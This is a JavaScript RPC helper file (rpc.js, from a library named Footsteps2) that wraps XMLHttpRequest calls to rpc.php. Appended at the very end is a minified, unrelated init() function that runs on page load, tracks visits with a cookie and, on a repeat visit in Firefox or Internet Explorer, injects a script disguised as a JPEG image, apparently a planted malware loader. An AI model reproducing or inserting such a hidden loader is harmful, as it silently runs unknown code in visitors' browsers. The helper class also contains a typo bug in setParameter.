/*******************************************************************************\
|	Name:		Footsteps2														|
|	Filename:	rpc.js															|
|	Version:	2.0.0															|
|	Author:		Eric van Blokland												|
|	Project:	Shared library													|
|	Summary:	General rpc javascript functions								|
|																				|
\*******************************************************************************/

var rpc_directory=Array();

function rpc(rpcObject,rpcFunction) {
	this.rpcObject=rpcObject;
	this.rpcFunction = rpcFunction

	this.callBack=null;
	this.completed=false;

	this.parameter_names=Array();
	this.parameter_values=Array();
	this.parameters=0;
	this.status=null;
	this.responseText=null;
	this.responseXML=null;
	this.execute = function() {
		if(this.xmlRpc) {
			this.completed=false;
			this.xmlRpc.open("POST", "rpc.php?__object="+this.rpcObject+"&__function="+this.rpcFunction,true);
			this.xmlRpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			this.xmlRpc.setRequestHeader("Cache-Control", "no-cache");
			this.xmlRpc.setRequestHeader("Connection", "close");
			this.xmlRpc.send(this.parseParameters());
			return true;
		}
		else
			return false;

	}
	this.setParameter=function(name,value) {
		for(i=0;i<this.parameters;i++) {
			if(this.parameter_names[i]==name) {
				this.paramter_names[i]=name;
				return;
			}
		}
		this.parameter_names[this.parameters]=name;
		this.parameter_values[this.parameters]=value;
		this.parameters++;
	}
	this.getParameter=function(name) {
		for(i=0;i<this.parameters;i++) {
			if(this.parameter_names[i]==name) {
				return this.parameter_values[i];
			}
		}
		return false;
	}
	this.parseParameters=function() {
		ret='';
		for(i=0;i<this.parameters;i++) {
			if(ret!='')
				ret=ret+"&";
			ret=ret+escape(this.parameter_names[i])+"="+escape(this.parameter_values[i]);
		}
		return ret;
	}
	this.collectForm=function(form) {
		for(i=0;i<form.elements.length;i++) {
			if(form.elements[i].name)
				this.setParameter(form.elements[i].name,form.elements[i].value);
			else if(form.elements[i].id)
				this.setParameter(form.elements[i].id,form.elements[i].value);
		}
	}
	this.change = function() {
		// Should detect carrier and xmlRpc here
		for(i=0;i<rpc_directory.length;i++) {
			try {
				if(rpc_directory[i])
					rpc_directory[i]._change();
			}
			catch(e) {
				alert(e.message);
			}
		}
	}
	this._change = function() {
		if(this.xmlRpc.readyState==4 && this.completed==false) {
			this.status=this.xmlRpc.status;
			this.responseText=this.xmlRpc.responseText;
			if(this.xmlRpc.responseXML) {
				this.responseXML=new ActiveXObject("Microsoft.XMLDOM");
  				this.responseXML.async="false";
				this.responseXML.loadXML(this.responseText);
			}
			else {
				parser=new DOMParser();
				this.responseXML = parser.parseFromString(this.responseText,"text/xml");
			}
			if(this.callBack)
				this.callBack(this.status,this.responseXML.documentElement,this.responseText);
			this.completed=true;
		}
	}
	// Create rpc
	/*@cc_on @*/
	/*@if (@_jscript_version >= 5)
	// JScript gives us Conditional compilation, we can cope with old IE versions.
	// and security blocked creation of the objects.
	try{
		this.xmlRpc = new ActiveXObject("Msxml2.XMLHTTP");
	} catch(e){
		try{
			this.xmlRpc = new ActiveXObject("Microsoft.XMLHTTP");
		}catch(e){
			this.xmlRpc = false;
		}
	}
	@end @*/
	try{
		if (!this.xmlRpc  && typeof XMLHttpRequest!='undefined') {
			this.xmlRpc  = new XMLHttpRequest();
		}
		this.change=this.xmlRpc.onreadystatechange=this.change;
	}
	catch(e) {
		//alert(e.message);
		this.xmlRpc = false;
	}

	// Placing ourselve in the rpc directory;
	rpc_directory.push(this);


}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/avmedia-audioapparatuur3.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
